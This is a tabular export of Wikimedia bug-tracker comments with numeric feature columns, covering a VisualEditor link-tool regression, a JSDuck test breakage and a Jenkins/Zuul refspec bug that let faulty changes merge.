211711,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",Seemingly not fixed at all - still broken in master/production with same behaviour as before.,,,1366918173,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-10,,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,1.0,Seemingly not fixed at all - still broken in master/production with same behaviour as before.
211708,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",Now merged and going out tomorrow.,,,1366854691,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.142857142857143,1.0,Now merged and going out tomorrow.
211704,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",Related URL: https://gerrit.wikimedia.org/r/60781 (Gerrit Change I286a28002c1691e58bbd7de04ed08cceb8b3bb07),,,1366852733,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I286a28002c1691e58bbd7de04ed08cceb8b3bb07)
211700,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",*** Bug 47546 has been marked as a duplicate of this bug. ***,,,1366741802,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47546 has been marked as a duplicate of this bug. ***
211696,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use","Same for me.

In addition to Dan's step 6, i note that after step 6 I see: ""TypeError: 'undefined' is not an object (evaluating 'dataElement.attributes.title')""",,,1366464797,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,8.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,13.0,5.0,0.0,15.0,0.0,8.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.5128205128205128,0.8205128205128205,"Same for me.

In addition to Dan's step 6, i note that after step 6 I see: ""TypeError: 'undefined' is not an object (evaluating 'dataElement.attributes.title')"""
211692,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use","Confirmed in Chrome/Mac, Firefox/Mac and Firefox/Linux. Looks like a general critical issue.",,,1366387816,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,38.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.7619047619047619,"Confirmed in Chrome/Mac, Firefox/Mac and Firefox/Linux. Looks like a general critical issue."
211685,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",This is in Chrome 25.0.1364.172 on Ubuntu Linux.,,,1366381926,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,44.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,This is in Chrome 25.0.1364.172 on Ubuntu Linux.
211677,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use","Created attachment 12146
The link tool going completely blank, and the article text behind it disappearing, as in step 6 of the bug report.

**Attached**: {F10426}",,,1366381880,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,11.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6842105263157894,0.868421052631579,"Created attachment 12146
The link tool going completely blank, and the article text behind it disappearing, as in step 6 of the bug report.

**Attached**: {F10426}"
49018,Master broken (jsduck),"Master is failing jenkins tests right now due to some JSDuck failures.

Examples: https://gerrit.wikimedia.org/49364 , https://gerrit.wikimedia.org/r/57922

--------------------------
**Version**: wmf-deployment
**Severity**: blocker",Unbreak Now!,100.0,1365447240,1365449081.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-exzifkfq2psfgq3kiwzv,task_description,resolved,True,c1,1,True,False,True,-12,,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.102564102564102,0.717948717948718,"Master is failing jenkins tests right now due to some JSDuck failures.

Examples: URL , GERRIT_URL

--------------------------
**Version**: wmf-deployment
**Severity**: blocker"
213664,Master broken (jsduck),Original patch has been resubmitted by Roan with https://gerrit.wikimedia.org/r/#/c/58134/ . That new version passed the JSDuck job \O/,,,1365454559,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,28.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,Original patch has been resubmitted by Roan with URL . That new version passed the JSDuck job \O/
213660,Master broken (jsduck),"Changed merged by Jenkins, so that definitely fixed the issue :-]",,,1365449081,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.583333333333333,1.0,"Changed merged by Jenkins, so that definitely fixed the issue :-]"
213656,Master broken (jsduck),"(In reply to comment #3)
> Maybe the V+2 and submit rights should be taken away from human users for
> core?
> We did this in VisualEditor a few months ago.

+10, best idea ever",,,1365448352,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.8,0.8,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

+10, best idea ever"
213651,Master broken (jsduck),Maybe the V+2 and submit rights should be taken away from human users for core? We did this in VisualEditor a few months ago.,,,1365448120,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,False,,,-12,,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,15.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,1.0,Maybe the V+2 and submit rights should be taken away from human users for core? We did this in VisualEditor a few months ago.
213646,Master broken (jsduck),"Most probably caused by https://gerrit.wikimedia.org/r/#/c/56637/ that has been force merged.

Revert is https://gerrit.wikimedia.org/r/#/c/58131/",,,1365447919,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.933333333333333,0.9333333333333333,"Most probably caused by URL that has been force merged.

Revert is URL"
213642,Master broken (jsduck),Related URL: https://gerrit.wikimedia.org/r/58131 (Gerrit Change I2d945b7ffb7cfbcc5024a1c3bdcf0c9506b0cf76),,,1365447873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I2d945b7ffb7cfbcc5024a1c3bdcf0c9506b0cf76)
48872,"VisualEditor: Switch integration for deployed wikis from tabLayout ""add"" to ""replace"" mode","In preparation for making the VisualEditor the ""default"" editor, we should have the existing integration switched over for users so that they can see, test and feedback on the final UX for triggering edits in the run-up to switch-over.

--------------------------
**Version**: unspecified
**Severity**: trivial",Unbreak Now!,100.0,1365032940,1366320602.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-gngjvjs5g5d7kc4osh37,task_description,resolved,True,c1,1,True,False,True,-13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,15.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,15.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.090909090909091,0.7121212121212122,"In preparation for making the VisualEditor the ""default"" editor, we should have the existing integration switched over for users so that they can see, test and feedback on the final UX for triggering edits in the run-up to switch-over.

--------------------------
**Version**: unspecified
**Severity**: trivial"
230034,"VisualEditor: Switch integration for deployed wikis from tabLayout ""add"" to ""replace"" mode",Now merged.,,,1366320602,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gngjvjs5g5d7kc4osh37,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Now merged.
230025,"VisualEditor: Switch integration for deployed wikis from tabLayout ""add"" to ""replace"" mode","See https://gerrit.wikimedia.org/r/59557 , https://gerrit.wikimedia.org/r/59558",,,1366156038,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-gngjvjs5g5d7kc4osh37,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.75,"See GERRIT_URL , GERRIT_URL"
48723,Jenkins merged a faulty change,"Aaron Schulz wrote:

I noticed that https://gerrit.wikimedia.org/r/#/c/33971/ passed the tests but after it was merged, the new tests started failing for everything. The commit to revert it also failed so I override Jenkins and merged anyway, and the failures went away for new commits. This indicates that something broken is going, possibly Jenkins running tests just against master rather than master + the patch, which would explain this problem.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1364653620,1394446474.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-tud4ia4bietz5pnf4dyz,task_description,resolved,True,c1,1,True,False,False,-14,,0.0,2.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,8.0,2.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,1.0,1.0,3.0,2.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,14.0,1.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,8.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.34375,0.6875,"Aaron Schulz wrote:

I noticed that URL passed the tests but after it was merged, the new tests started failing for everything. The commit to revert it also failed so I override Jenkins and merged anyway, and the failures went away for new commits. This indicates that something broken is going, possibly Jenkins running tests just against master rather than master + the patch, which would explain this problem.

--------------------------
**Version**: unspecified
**Severity**: normal"
221139,Jenkins merged a faulty change,"Change 117045 merged by jenkins-bot:
Parsoid: uses ZUUL_COMMIT as a git refspec to build

https://gerrit.wikimedia.org/r/117045",,,1394446468,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.190476190476191,0.9523809523809523,"Change 117045 merged by jenkins-bot:
Parsoid: uses ZUUL_COMMIT as a git refspec to build

GERRIT_URL"
221135,Jenkins merged a faulty change,"Change 117045 had a related patch set uploaded by Hashar:
Parsoid: uses ZUUL_COMMIT as a git refspec to build

https://gerrit.wikimedia.org/r/117045",,,1394053460,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9166666666666666,"Change 117045 had a related patch set uploaded by Hashar:
Parsoid: uses ZUUL_COMMIT as a git refspec to build

GERRIT_URL"
221130,Jenkins merged a faulty change,I have verified the jobs triggered over the past few days. Seems to work fine now :-)  The root cause was using ZUUL_BRANCH as a branch specifier instead of ZUUL_COMMIT.,,,1366463506,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-11,,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,15.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,4.242424242424242,0.9393939393939394,I have verified the jobs triggered over the past few days. Seems to work fine now :-)  The root cause was using ZUUL_BRANCH as a branch specifier instead of ZUUL_COMMIT.
221125,Jenkins merged a faulty change,"hashar@gallium:~$ ./checkbug46723.py mediawiki-core-phpunit-api --filter 2013-04-16*
Found 0 mismatches in 29 log files.
hashar@gallium:~$ ./checkbug46723.py mediawiki-core-phpunit-misc --filter 2013-04-16*
Found 0 mismatches in 29 log files.
$

Seems it got fixed :-]  Will verify again during the week, but so far that looks good.",,,1366117226,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,1.0,4.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.581081081081081,"hashar@gallium:~$ ./checkbug46723.py mediawiki-core-phpunit-api --filter 2013-04-16*
Found 0 mismatches in 29 log files.
hashar@gallium:~$ ./checkbug46723.py mediawiki-core-phpunit-misc --filter 2013-04-16*
Found 0 mismatches in 29 log files.
$

Seems it got fixed :-]  Will verify again during the week, but so far that looks good."
221120,Jenkins merged a faulty change,Will monitor over the next few days. Lowering priority for now.,,,1366023198,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-11,,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.076923076923077,0.9230769230769231,Will monitor over the next few days. Lowering priority for now.
